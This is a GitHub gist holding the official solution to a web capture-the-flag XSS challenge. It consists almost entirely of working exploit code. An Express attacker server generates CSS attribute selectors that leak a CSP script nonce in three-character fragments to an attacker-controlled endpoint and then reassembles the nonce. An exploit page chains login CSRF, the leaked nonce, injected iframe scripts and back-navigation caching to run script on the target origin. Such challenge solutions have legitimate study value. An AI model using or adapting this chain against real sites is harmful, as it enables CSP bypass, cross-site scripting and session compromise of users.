Skip to content

Instantly share code, notes, and snippets.

@JorianWoltjer
Last active July 3, 2025 13:31
Show Gist options
  • Select an option

  • Save JorianWoltjer/e6c7726be8c35f33b39469ed9ae2f75f to your computer and use it in GitHub Desktop.

Select an option

Save JorianWoltjer/e6c7726be8c35f33b39469ed9ae2f75f to your computer and use it in GitHub Desktop.
https://greeting-chall.jorianwoltjer.com XSS challenge official solution
const express = require('express');
const fs = require('fs');
const app = express();
const port = 8000;
let leaks = [];
app.get('/', (req, res) => {
res.send(fs.readFileSync('exploit.html', 'utf8'));
});
app.get('/leak.css', (req, res) => {
const l = [..."abcdef0123456789"];
const strings = l.flatMap(a => l.flatMap(b => l.map(c => a + b + c)));
const css = `\
*{display: block}
${strings.map(s => `script[nonce*="${s}"]{--${s}:url(/l/${s})}`).join('\n')}
script {
background: ${strings.map(s => `var(--${s},none)`).join(',')}
}
`;
leaks = [];
res.setHeader('Content-Type', 'text/css');
res.send(css);
});
function mergeWords(arr, ending) {
if (arr.length === 0) return ending
if (!ending) {
for (let i = 0; i < arr.length; i++) {
let isFound = false
for (let j = 0; j < arr.length; j++) {
if (i === j) continue
let suffix = arr[i][1] + arr[i][2]
let prefix = arr[j][0] + arr[j][1]
if (suffix === prefix) {
isFound = true
continue
}
}
if (!isFound) {
return mergeWords(arr.filter(item => item !== arr[i]), arr[i])
}
}
}
let found = []
for (let i = 0; i < arr.length; i++) {
let length = ending.length
let suffix = ending[0] + ending[1]
let prefix = arr[i][1] + arr[i][2]
if (suffix === prefix) {
found.push([arr.filter(item => item !== arr[i]), arr[i][0] + ending])
}
}
return found.map((item) => {
return mergeWords(item[0], item[1])
})
}
function combine(arr) {
return mergeWords(arr, null).flat(99);
}
app.get('/nonce', (req, res) => {
const nonce = combine(leaks);
console.log(nonce);
res.json(nonce);
});
app.get("/back", (req, res) => {
res.send(`<script>
const n = parseInt(new URLSearchParams(location.search).get("n") || "1");
history.go(-n);
</script>`);
});
app.get('/l/:leak', (req, res) => {
const leak = req.params.leak;
console.log(`Leaked (${leaks.length + 1}): ${leak}`);
leaks.push(leak);
res.status(204).send();
});
app.listen(port, () => {
console.log(`Listening at http://127.0.0.1:${port}`)
});
<script>
const TARGET = "https://greeting-chall.jorianwoltjer.com";
function sleep(ms) {
return new Promise((resolve) => setTimeout(resolve, ms));
}
function login_csrf(name) {
const form = document.createElement("form");
form.method = "POST";
form.action = TARGET + "/login";
form.target = "w";
const input = document.createElement("input");
input.name = "name";
input.value = name;
form.appendChild(input);
document.body.appendChild(form);
form.submit();
form.remove();
}
onclick = async () => {
w = window.open("", "w");
// Load target with CSS leaking nonce
login_csrf(`<link rel="stylesheet" href="${location.origin}/leak.css">`);
await sleep(1000);
w.location = TARGET + "/dashboard?xss";
await sleep(1000);
// Backend will use leaks to reconstruct full nonce
const nonces = await fetch("/nonce").then((r) => r.json());
// Prepare /profile returning new XSS payload
login_csrf(nonces.map((nonce) => `<iframe srcdoc="<script nonce='${nonce}'>alert(origin)<\/script>"></iframe>`).join(""));
// ^^ this also at the same time fetches /profile with the new value, so it becomes cached
await sleep(1000);
// Going back to ?xss causes previous nonce to be loaded, but with re-saved /profile from above
w.location = location.origin + "/back?n=2";
};
</script>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment